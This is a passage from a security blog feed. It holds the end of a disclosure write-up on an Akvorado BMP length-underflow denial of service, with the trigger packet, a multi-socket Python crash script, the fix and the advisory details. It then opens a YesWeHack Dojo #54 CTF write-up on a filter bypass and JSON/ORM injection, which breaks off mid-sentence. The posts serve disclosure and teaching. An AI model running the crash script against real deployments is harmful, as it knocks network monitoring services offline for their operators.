&lt;pre class=&quot;astro-code github-dark-dimmed&quot; style=&quot;background-color:#22272e;color:#adbac7; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;text&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;03 00 00 00 00 04&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Against the common header:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;03&lt;/code&gt;: BMP version 3, which passes the version check&lt;/li&gt;
&lt;li&gt;&lt;code&gt;00 00 00 00&lt;/code&gt;: Length = 0, the underflow trigger&lt;/li&gt;
&lt;li&gt;&lt;code&gt;04&lt;/code&gt;: message type (initiation), a value the server accepts&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Sending it:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-dimmed&quot; style=&quot;background-color:#22272e;color:#adbac7; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;python&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F47067&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt; socket&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;s &lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt; socket.create_connection((&lt;/span&gt;&lt;span style=&quot;color:#96D0FF&quot;&gt;&quot;outlet-host&quot;&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt;10179&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;s.sendall(&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt;bytes&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;.fromhex(&lt;/span&gt;&lt;span style=&quot;color:#96D0FF&quot;&gt;&quot;030000000004&quot;&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;))&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That pins roughly 4 GiB and holds the socket open. One socket proves the allocation.
The crash needs a handful, and since the trick is to do nothing after sending,
“scaling” is just keeping the sockets referenced so Python does not garbage-collect
them out from under you:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-dimmed&quot; style=&quot;background-color:#22272e;color:#adbac7; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;python&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F47067&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt; socket, time&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt;PACKET&lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt; bytes&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;.fromhex(&lt;/span&gt;&lt;span style=&quot;color:#96D0FF&quot;&gt;&quot;030000000004&quot;&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;conns &lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt; []&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F47067&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt; _ &lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt; range&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt;4&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;    s &lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt; socket.create_connection((&lt;/span&gt;&lt;span style=&quot;color:#96D0FF&quot;&gt;&quot;outlet-host&quot;&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt;10179&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;    s.sendall(&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt;PACKET&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;    conns.append(s)  &lt;/span&gt;&lt;span style=&quot;color:#768390&quot;&gt;# keep a reference so the socket stays open&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;time.sleep(&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt;3600&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;)  &lt;/span&gt;&lt;span style=&quot;color:#768390&quot;&gt;# sit here doing nothing; the ~4 GiB per connection stays pinned&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Four connections is about 16 GiB reserved from four 6-byte packets. Point it at a box
with less headroom, or raise the range, and you are at the out-of-memory line.&lt;/p&gt;
&lt;h2 id=&quot;watching-it-fall-over&quot;&gt;Watching it fall over&lt;/h2&gt;
&lt;p&gt;What makes this a 7.5 rather than a footnote is the context around that one line. The
BMP listener is enabled by default and binds port &lt;code&gt;10179&lt;/code&gt; on all interfaces, so on a
default deployment there is no configuration step and no credential between an
attacker and the bug. In CVSS terms it is &lt;code&gt;A:H&lt;/code&gt; with &lt;code&gt;C:N/I:N&lt;/code&gt;: it takes the service
down without touching data.&lt;/p&gt;
&lt;p&gt;I stood up my own instance and watched it happen, because watching a number climb is
more convincing than reasoning about it. With &lt;code&gt;htop&lt;/code&gt; open next to the terminal I was
firing packets from, I opened connections one at a time and watched the &lt;code&gt;VIRT&lt;/code&gt; column
for the Akvorado process. Eight was enough. Virtual memory reached 34.03 GiB and the
process died with:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-dimmed&quot; style=&quot;background-color:#22272e;color:#adbac7; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;text&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;runtime: out of memory: cannot allocate 4294967296-byte block&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Scaling the attack is not clever. It is opening more sockets. That is the part that
sat with me while I remembered this is the tool we point at our own traffic every
day.&lt;/p&gt;
&lt;h2 id=&quot;the-fix&quot;&gt;The fix&lt;/h2&gt;
&lt;p&gt;The fix is the check that should have been there from the start: reject any length
smaller than the header before using it to size anything.&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-dimmed&quot; style=&quot;background-color:#22272e;color:#adbac7; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;go&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F47067&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt; msg.Header.Length &lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt; bmp.BMP_HEADER_SIZE {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;    logger.&lt;/span&gt;&lt;span style=&quot;color:#DCBDFB&quot;&gt;Warn&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;().&lt;/span&gt;&lt;span style=&quot;color:#DCBDFB&quot;&gt;Uint32&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#96D0FF&quot;&gt;&quot;length&quot;&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;, msg.Header.Length).&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#DCBDFB&quot;&gt;        Msg&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#96D0FF&quot;&gt;&quot;invalid BMP message length&quot;&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F47067&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt; nil&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;body &lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;:=&lt;/span&gt;&lt;span style=&quot;color:#DCBDFB&quot;&gt; make&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;([]&lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;byte&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;, msg.Header.Length&lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;bmp.BMP_HEADER_SIZE)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A sane upper bound on message size is worth adding at the same time, so that a large
but technically valid length cannot be used for a big allocation either. The patch
landed in &lt;a href=&quot;https://github.com/akvorado/akvorado/releases/tag/v2026.10.0&quot;&gt;2026.10.0&lt;/a&gt;.
If you expose BMP or IPFIX on an untrusted network, upgrade before you finish reading
this.&lt;/p&gt;
&lt;h2 id=&quot;disclosure&quot;&gt;Disclosure&lt;/h2&gt;
&lt;p&gt;I reported this to the Akvorado maintainers, who confirmed it quickly and shipped the
fix. I am credited in both the
&lt;a href=&quot;https://github.com/akvorado/akvorado/security/advisories/GHSA-wr88-h9r3-fqh3&quot;&gt;advisory&lt;/a&gt;
and the &lt;a href=&quot;https://github.com/akvorado/akvorado/releases/tag/v2026.10.0&quot;&gt;2026.10.0 release notes&lt;/a&gt;.&lt;/p&gt;





























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Field&lt;/th&gt;&lt;th&gt;Value&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Advisory&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://github.com/akvorado/akvorado/security/advisories/GHSA-wr88-h9r3-fqh3&quot;&gt;GHSA-wr88-h9r3-fqh3&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Severity&lt;/td&gt;&lt;td&gt;High, CVSS 7.5 (&lt;code&gt;CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H&lt;/code&gt;)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Weaknesses&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/20.html&quot;&gt;CWE-20&lt;/a&gt;, &lt;a href=&quot;https://cwe.mitre.org/data/definitions/191.html&quot;&gt;CWE-191&lt;/a&gt;, &lt;a href=&quot;https://cwe.mitre.org/data/definitions/400.html&quot;&gt;CWE-400&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Affected&lt;/td&gt;&lt;td&gt;2.0.0-beta.1 through 2026.8.1&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Patched&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://github.com/akvorado/akvorado/releases/tag/v2026.10.0&quot;&gt;2026.10.0&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;h2 id=&quot;what-i-took-away&quot;&gt;What I took away&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Length fields that feed allocations are where I probe first.&lt;/strong&gt; Before anything
clever, I test the boundaries of a size value that came off the wire: zero, values
below the header size, and values near the integer maximum. This bug lived at the
smallest input, not the largest.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Unsigned subtraction is a trapdoor.&lt;/strong&gt; &lt;code&gt;a - b&lt;/code&gt; with &lt;code&gt;a &amp;#x3C; b&lt;/code&gt; does not error in
&lt;code&gt;uint32&lt;/code&gt;, it wraps to something enormous. Any subtraction on attacker-influenced
unsigned values needs a bounds check first, every time.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;An allocation is only half of the primitive.&lt;/strong&gt; What made this a reliable crash was
that &lt;code&gt;io.ReadFull&lt;/code&gt; blocked and kept the memory pinned. The damaging resource bugs are
the ones where the attacker controls the size and how long it stays reserved.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;A default-on listener changes the severity.&lt;/strong&gt; The same flaw behind an
off-by-default feature would be a much smaller issue. This one shipped enabled on all
interfaces, and that is most of the distance between “bug” and “unauthenticated
remote crash.”&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;What stayed with me is how ordinary the setup was. I was not fuzzing anything exotic.
I was reading a tool I already trusted, following a habit, and the bug was sitting in
plain sight.&lt;/p&gt;</content:encoded><category>Vulnerability Research</category></item><item><title>YesWeHack Dojo #54: One Accent Past the Filter</title><link>https://0xblu3guy.github.io/blog/posts/yeswehack-dojo-54-highscore</link><guid isPermaLink="true">https://0xblu3guy.github.io/blog/posts/yeswehack-dojo-54-highscore</guid><description>How a byte-versus-character length check and a hand-built JSON string chain into logging in as another account, plus the failed probes that got me there.</description><pubDate>Tue, 29 Sep 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;This is the &lt;a href=&quot;https://dojo-yeswehack.com/challenge-of-the-month/dojo-54&quot;&gt;YesWeHack Dojo challenge of the month #54&lt;/a&gt;,
“Highscore.” It’s a small web challenge with a game-like front end: an
&lt;strong&gt;INPUTS&lt;/strong&gt; tab where you type a string, a &lt;strong&gt;SUBMIT&lt;/strong&gt; button, and a HUD that
reports the state of a &lt;code&gt;FILTER&lt;/code&gt; as &lt;code&gt;ONLINE&lt;/code&gt;, &lt;code&gt;BLOCKED&lt;/code&gt; or &lt;code&gt;BYPASSED&lt;/code&gt;. Somewhere
behind that filter is a flag, and the whole game is figuring out what to type in
one box to get it.&lt;/p&gt;
&lt;div class=&quot;callout callout--note&quot; role=&quot;note&quot;&gt;
&lt;p class=&quot;callout__title&quot;&gt;TL;DR&lt;/p&gt;
&lt;p&gt;Two bugs chain into reading another account’s session. A “letters only” filter
measures the input’s length in characters but reads it as bytes, so a run of
multi-byte padding (accented &lt;code&gt;é&lt;/code&gt;) walks straight past it and drags a &lt;code&gt;&quot;&lt;/code&gt; into a
JSON string that is built by hand. That quote lets me inject a second &lt;code&gt;session&lt;/code&gt;
key, and JSON’s last-key-wins rewrites the database lookup into &lt;code&gt;WHERE id = 1&lt;/code&gt;,
the row whose &lt;code&gt;session&lt;/code&gt; column holds the flag.&lt;/p&gt;
&lt;/div&gt;
&lt;h2 id=&quot;mapping-what-the-box-does&quot;&gt;Mapping what the box does&lt;/h2&gt;
&lt;p&gt;Before touching payloads I wanted the pipeline. Where does my string go, and
what touches it on the way? Reading the challenge code, the path is short:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-dimmed&quot; style=&quot;background-color:#22272e;color:#adbac7; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;text&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;INPUT box  →  Url Encode node  →  parseCookie(input)  →  Users.findOne({ where: ... })&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;My string is URL-encoded, handed to a function called &lt;code&gt;parseCookie()&lt;/code&gt;, and
whatever that function returns is used &lt;strong&gt;as the lookup filter&lt;/strong&gt; for a database
query. That last part is the interesting bit. The result of parsing my input
doesn’t get compared to anything, it &lt;em&gt;becomes&lt;/em&gt; the &lt;code&gt;where&lt;/code&gt; clause:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-dimmed&quot; style=&quot;background-color:#22272e;color:#adbac7; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;javascript&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F47067&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt; record&lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt; await&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt; Users.&lt;/span&gt;&lt;span style=&quot;color:#DCBDFB&quot;&gt;findOne&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;({ where: cookie[&lt;/span&gt;&lt;span style=&quot;color:#96D0FF&quot;&gt;&quot;session&quot;&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;] });&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That distinction is the whole game. With an ORM, &lt;code&gt;findOne({ where: {...} })&lt;/code&gt;
turns the object I hand it into a SQL query: &lt;code&gt;{ id: 1 }&lt;/code&gt; becomes
&lt;code&gt;WHERE id = 1&lt;/code&gt;, &lt;code&gt;{ session: &quot;abc&quot; }&lt;/code&gt; becomes &lt;code&gt;WHERE session = &apos;abc&apos;&lt;/code&gt;. So if I can
control the &lt;em&gt;object&lt;/em&gt;, I’m not just supplying a value to a fixed query, I’m
choosing which column it matches and what it matches against. That is a much
bigger primitive than “user-controlled value,” and it’s the same family of bug as
&lt;a href=&quot;https://portswigger.net/web-security/nosql-injection&quot;&gt;NoSQL and ORM object injection&lt;/a&gt;,
where passing an object where the app expected a string lets you rewrite the
query itself.&lt;/p&gt;
&lt;p&gt;So if I can control what &lt;code&gt;cookie[&quot;session&quot;]&lt;/code&gt; ends up being, I control which row
comes back. The rows that matter:&lt;/p&gt;




















&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;lookup&lt;/th&gt;&lt;th&gt;account&lt;/th&gt;&lt;th&gt;what its &lt;code&gt;session&lt;/code&gt; column holds&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;WHERE id = 1&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;brumens&lt;/code&gt;&lt;/td&gt;&lt;td&gt;the flag&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;WHERE id = 2&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;bob&lt;/code&gt;&lt;/td&gt;&lt;td&gt;a flag-shaped value the challenge does not accept&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Row 1 is the prize. The whole challenge collapses into a single question: can I
steer &lt;code&gt;parseCookie()&lt;/code&gt; into returning an object that selects &lt;code&gt;brumens&lt;/code&gt;, row 1?&lt;/p&gt;
&lt;h2 id=&quot;the-one-guard&quot;&gt;The one guard&lt;/h2&gt;
&lt;p&gt;Between my input and that query, there is exactly one check. &lt;code&gt;parseCookie()&lt;/code&gt;
runs the string through a letter filter first:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-dimmed&quot; style=&quot;background-color:#22272e;color:#adbac7; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;javascript&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F47067&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt; bytes&lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt; Buffer.&lt;/span&gt;&lt;span style=&quot;color:#DCBDFB&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;(session, &lt;/span&gt;&lt;span style=&quot;color:#96D0FF&quot;&gt;&apos;utf8&apos;&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F47067&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;let&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt; i &lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt; 0&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;; i &lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt; session.&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt;length&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;; i&lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;++&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F47067&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt; b&lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt; bytes[i];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F47067&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt; isLetter&lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt; (b &lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt; 0x41&lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt; &amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt; b &lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;&amp;#x3C;=&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt; 0x5a&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;||&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt; (b &lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt; 0x61&lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt; &amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt; b &lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;&amp;#x3C;=&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt; 0x7a&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;||&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt; b &lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt; 0x80&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F47067&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;isLetter) &lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;throw&lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt; new&lt;/span&gt;&lt;span style=&quot;color:#DCBDFB&quot;&gt; Error&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#96D0FF&quot;&gt;&apos;invalid game session&apos;&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Read literally, that loop says the session may only contain letters: &lt;code&gt;A-Z&lt;/code&gt;,
&lt;code&gt;a-z&lt;/code&gt;, or a high byte (&lt;code&gt;&gt;= 0x80&lt;/code&gt;). Anything else throws &lt;code&gt;invalid game session&lt;/code&gt;.
Right after the filter, the parsed value is built by hand:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-dimmed&quot; style=&quot;background-color:#22272e;color:#adbac7; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;javascript&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F47067&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt; JSON&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#DCBDFB&quot;&gt;parse&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#96D0FF&quot;&gt;`{&quot;id&quot;:${&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color:#96D0FF&quot;&gt;}, &quot;session&quot;:{&quot;session&quot;:&quot;${&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;session&lt;/span&gt;&lt;span style=&quot;color:#96D0FF&quot;&gt;}&quot;}}`&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Two things jumped out reading these together, and each one turned into a bug: the
loop, and this hand-built JSON string.&lt;/p&gt;
&lt;h2 id=&quot;probe-1-is-the-comparison-the-way-in&quot;&gt;Probe 1: is the comparison the way in?&lt;/h2&gt;
&lt;p&gt;First instinct: maybe the session I control is compared against the stored flag
somewhere, so I can just &lt;em&gt;type the flag’s shape&lt;/em&gt;. I tried a plain letters-only
string.&lt;/p&gt;
&lt;p&gt;It builds fine, no error, but nothing happens. The value I supply is checked
against a value I don’t know, and there is nothing typable that equals it. Dead
end, but a useful one: the way in is not matching the secret, it’s controlling
the query. That refocused me on &lt;code&gt;cookie[&quot;session&quot;]&lt;/code&gt; flowing into &lt;code&gt;where&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id=&quot;probe-2-can-i-break-out-of-the-json-string&quot;&gt;Probe 2: can I break out of the JSON string?&lt;/h2&gt;
&lt;p&gt;If the parsed object is what matters, the hand-built JSON string is the lever. My
session is dropped between two double quotes with &lt;strong&gt;no escaping&lt;/strong&gt;, so a &lt;code&gt;&quot;&lt;/code&gt; typed
in my input should close the string early and let me write JSON &lt;em&gt;structure&lt;/em&gt;
instead of string &lt;em&gt;content&lt;/em&gt;. I tried ASCII letters plus a quote, something like
&lt;code&gt;aaaa&quot;...&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Rejected: &lt;code&gt;invalid game session&lt;/code&gt;. The letter filter sees the &lt;code&gt;&quot;&lt;/code&gt; (byte &lt;code&gt;0x22&lt;/code&gt;),
which is below &lt;code&gt;0x41&lt;/code&gt; and isn’t a high byte, and throws. That confirmed two things
at once: the quote breakout is real and worth pursuing, but the filter stands in
the way, so I need to slip a &lt;code&gt;&quot;&lt;/code&gt; past a check that only allows letters and high
